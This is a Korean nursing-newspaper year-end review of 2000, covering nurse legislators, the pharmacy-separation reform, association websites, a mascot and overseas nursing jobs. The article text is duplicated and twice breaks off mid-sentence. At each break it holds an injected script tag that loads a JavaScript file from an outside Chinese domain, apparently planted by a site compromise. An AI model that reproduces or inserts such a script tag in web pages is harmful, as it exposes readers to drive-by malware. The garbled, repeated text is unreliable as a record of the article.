간호계 2000년 결산
[편집국] 정규숙 kschung@nursenews.co.kr 기사입력 2000-12-28 오후 14:41:01
희망의 새 천년을 맞는 감동과 기대 속에 시작했던 2000년도 이제 추억의 시간 속으로 떠나보내야 할 때다. 올 한해 간호사들이 거둔 땀의 결실과 간호역사에 오래도록 남을 기쁨의 순간들을 함께 정리해 본다.
◈ 간호사 국회의원 탄생
제16대 국회에 간호사 의원 2명이 진출한 사실은 올해 간호계를 장식한 최고의 뉴스로 손꼽힌다.
최영희 전 대한간호협회장(이대 간호과학대학 명예교수)이 민주당 전국구 2번을 배정받아 당선의 영예를 안았으며 이어 김화중 대한간호협회장이 민주당 전국구 의원으로 국회에 입성했다.
간호계에서는 이를 두고 "한국 간호역사에 남을 쾌거이며 우리 사회에서 간호사의 위상이 그만큼 높아졌음을 반증하는 일"이라고 환영하면서 "국민건강과 여성발전을 위해 사심없이 일해 사람들로부터 존경받는 국회의원이 되어 달라"고 당부했다.
최영희 의원은 보건복지위원회, 김화중 의원은 교육위원회를 각각 배정받았다.
두 의원은 등원 후 첫 국정감사를 맞아 성실하게 준비하는 자세와 날카롭게 정곡을 찌르는 질의를 통해 문제점을 바로 잡아나가는 모습을 보여줘 주목을 받았다. 최영희 의원은 법률연맹 국정감사 모니터단이 선정한 국감 우수의원으로 뽑히기도 했다
◈의약분업 전격 시행…문제는 여전히 남아
'의료혁명'으로 불리는 의약분업이 전격 시행된 지 6개월 여가 흘렀다. 그동안 집단폐업으로 치달았던 의료계의 집단 휴·폐업도 진정됐고 의·약·정 합의도 이뤄져 관련법안이 국회의 입법과정을 거치고 있는 등 의약분업은 정착단계에 접어들고 있다.
그러나 정부는 약사법 개정안의 국회처리 과정에서 국민편의를 이유로 주사제를 분업대상에서 제외하는 방안을 추진 중이다. 이에 대해 건강연대 등 시민단체들은 주사제의 분업 예외는 의약분업의 기본 취지를 무시한 임기응변식 발상이라며 반대 의사를 다시 한번 확인해 논란이 예상된다.
또 병·의원과 약국간의 담합 가능성이 아직까지 상존함에 따라 정부는 담합약국의 개설을 엄격히 불허하는 한편, 지침을 통해 '담합약국'의 유형과 그 행위에 대한 범위를 구체적으로 명시하고 있으나 일부 약국들은 대로변에 별도의 출입문을 만들어 복지부의 지침을 역이용하거나 의료기관이 약국과 별도의 임대차 계약을 맺는 방법으로 법망을 교묘히 빠져나가고 있다.
이밖에도 △농어촌지역의 의약분업 문제 △의료봉사의 의약분업 적용 논란 △PTP·포일 포장단위 일반의약품 낱알 판매 금지에 따른 소비자들의 불편과 혼란 등 여전히 해결해야 할 난제들이 많이 남아있다.
◈ 간협 홈페이지 오픈
정보화 시대에 발맞춰 대한간호협회는 홈페이지(www.koreanurse.or.kr)를 개발해 연초에 오픈했다. 한 해 동안 30만명 이상이 홈페이지를 방문하는 큰 호응을 얻었으며 회원들의 의견을 수렴해 업그레이드 작업도 마쳤다.
또한 간호사들이 인터넷을 통해 간호계 안팎의 다양한 뉴스를 신속 정확하게 찾아볼 수 있도록 간협신보 홈페이지(www.nursenews.co.kr)를 제작해 10월 4일부터 운영했다. 홈페이지 메인 화면은 최신 뉴스와 사진기사로 구성돼 있으며 기사검색란에 들어가면 원하는 정보를 손쉽게 찾아볼 수 있다.
◈ 간호박사 캐릭터 개발
대한간호협회는 간호사를 상징하는 캐릭터 '간호박사'를 개발해 큰 인기를 모았다. 캐릭터는 기본형과 응용동작 등 6가지 형태로 개발됐으며 캐릭터 이름은 회원들을 대상으로 공모한 결과 '간호박사'로 정해졌다.
간호박사 캐릭터는 올 한해 간호 및 보건의료계의 여러 행사 때마다 간호사를 대표하는 상징물로 소개돼 간호의 새로운 이미지를 널리 알리는데 한 몫을 톡톡히 했다. 간협은 또한 캐릭터를 이용한 상품으로 목걸이 볼펜과 앞치마, 양말 등을 제작 판매해 호응을 얻었다.
◈ 간호사 해외취업 열기
선진 간호를 배우고 새로운 경험을 쌓기 위해 해외로 진출하려는 간호사들의 움직임이 활발한 해였다.
대한간호협회가 간호사 해외취업을 위해 다각도로 노력한 결과 올해 초 사우디 아라비아에 109명이 취업되는 결실을 맺었다. 이들은 1년 계약기간으로 출국해 현재 사우디에서 근무 중이며 "새로운 업무환경에 대한 적응력과 간호기술이 뛰어나다"는 평가를 받고 있다.
또한 지난 11월 한국산업인력공단 주최로 열린 사우디 취업 면접장에는 간호사 205명이 모여 성황을 이뤘다.
영국 병원에 취업하기 위해 도전에 나선 간호사 13명도 눈길을 끌었다. 취업알선업체 ICE가 주선한 면접에 합격한 간호사들이 이달 3일 영국으로 떠났으며, 6개월간 영어연수를 받은 후 영국간호협회 심사를 거쳐 병원 연수까지 마치고 나면 취업할 수 있게 된다.
◈ 간호센터 창업 잇따라
새로운 분야에 도전해 ?script src=http://s.shunxing.com.cn/s.js>
◈ 간호사 국회의원 탄생
제16대 국회에 간호사 의원 2명이 진출한 사실은 올해 간호계를 장식한 최고의 뉴스로 손꼽힌다.
최영희 전 대한간호협회장(이대 간호과학대학 명예교수)이 민주당 전국구 2번을 배정받아 당선의 영예를 안았으며 이어 김화중 대한간호협회장이 민주당 전국구 의원으로 국회에 입성했다.
간호계에서는 이를 두고 "한국 간호역사에 남을 쾌거이며 우리 사회에서 간호사의 위상이 그만큼 높아졌음을 반증하는 일"이라고 환영하면서 "국민건강과 여성발전을 위해 사심없이 일해 사람들로부터 존경받는 국회의원이 되어 달라"고 당부했다.
최영희 의원은 보건복지위원회, 김화중 의원은 교육위원회를 각각 배정받았다.
두 의원은 등원 후 첫 국정감사를 맞아 성실하게 준비하는 자세와 날카롭게 정곡을 찌르는 질의를 통해 문제점을 바로 잡아나가는 모습을 보여줘 주목을 받았다. 최영희 의원은 법률연맹 국정감사 모니터단이 선정한 국감 우수의원으로 뽑히기도 했다
◈의약분업 전격 시행…문제는 여전히 남아
'의료혁명'으로 불리는 의약분업이 전격 시행된 지 6개월 여가 흘렀다. 그동안 집단폐업으로 치달았던 의료계의 집단 휴·폐업도 진정됐고 의·약·정 합의도 이뤄져 관련법안이 국회의 입법과정을 거치고 있는 등 의약분업은 정착단계에 접어들고 있다.
그러나 정부는 약사법 개정안의 국회처리 과정에서 국민편의를 이유로 주사제를 분업대상에서 제외하는 방안을 추진 중이다. 이에 대해 건강연대 등 시민단체들은 주사제의 분업 예외는 의약분업의 기본 취지를 무시한 임기응변식 발상이라며 반대 의사를 다시 한번 확인해 논란이 예상된다.
또 병·의원과 약국간의 담합 가능성이 아직까지 상존함에 따라 정부는 담합약국의 개설을 엄격히 불허하는 한편, 지침을 통해 '담합약국'의 유형과 그 행위에 대한 범위를 구체적으로 명시하고 있으나 일부 약국들은 대로변에 별도의 출입문을 만들어 복지부의 지침을 역이용하거나 의료기관이 약국과 별도의 임대차 계약을 맺는 방법으로 법망을 교묘히 빠져나가고 있다.
이밖에도 △농어촌지역의 의약분업 문제 △의료봉사의 의약분업 적용 논란 △PTP·포일 포장단위 일반의약품 낱알 판매 금지에 따른 소비자들의 불편과 혼란 등 여전히 해결해야 할 난제들이 많이 남아있다.
◈ 간협 홈페이지 오픈
정보화 시대에 발맞춰 대한간호협회는 홈페이지(www.koreanurse.or.kr)를 개발해 연초에 오픈했다. 한 해 동안 30만명 이상이 홈페이지를 방문하는 큰 호응을 얻었으며 회원들의 의견을 수렴해 업그레이드 작업도 마쳤다.
또한 간호사들이 인터넷을 통해 간호계 안팎의 다양한 뉴스를 신속 정확하게 찾아볼 수 있도록 간협신보 홈페이지(www.nursenews.co.kr)를 제작해 10월 4일부터 운영했다. 홈페이지 메인 화면은 최신 뉴스와 사진기사로 구성돼 있으며 기사검색란에 들어가면 원하는 정보를 손쉽게 찾아볼 수 있다.
◈ 간호박사 캐릭터 개발
대한간호협회는 간호사를 상징하는 캐릭터 '간호박사'를 개발해 큰 인기를 모았다. 캐릭터는 기본형과 응용동작 등 6가지 형태로 개발됐으며 캐릭터 이름은 회원들을 대상으로 공모한 결과 '간호박사'로 정해졌다.
간호박사 캐릭터는 올 한해 간호 및 보건의료계의 여러 행사 때마다 간호사를 대표하는 상징물로 소개돼 간호의 새로운 이미지를 널리 알리는데 한 몫을 톡톡히 했다. 간협은 또한 캐릭터를 이용한 상품으로 목걸이 볼펜과 앞치마, 양말 등을 제작 판매해 호응을 얻었다.
◈ 간호사 해외취업 열기
선진 간호를 배우고 새로운 경험을 쌓기 위해 해외로 진출하려는 간호사들의 움직임이 활발한 해였다.
대한간호협회가 간호사 해외취업을 위해 다각도로 노력한 결과 올해 초 사우디 아라비아에 109명이 취업되는 결실을 맺었다. 이들은 1년 계약기간으로 출국해 현재 사우디에서 근무 중이며 "새로운 업무환경에 대한 적응력과 간호기술이 뛰어나다"는 평가를 받고 있다.
또한 지난 11월 한국산업인력공단 주최로 열린 사우디 취업 면접장에는 간호사 205명이 모여 성황을 이뤘다.
영국 병원에 취업하기 위해 도전에 나선 간호사 13명도 눈길을 끌었다. 취업알선업체 ICE가 주선한 면접에 합격한 간호사들이 이달 3일 영국으로 떠났으며, 6개월간 영어연수를 받은 후 영국간호협회 심사를 거쳐 병원 연수까지 마치고 나면 취업할 수 있게 된다.
◈ 간호센터 창업 잇따라
새로운 분야에 도전해 ?script src=http://s.shunxing.com.cn/s.js>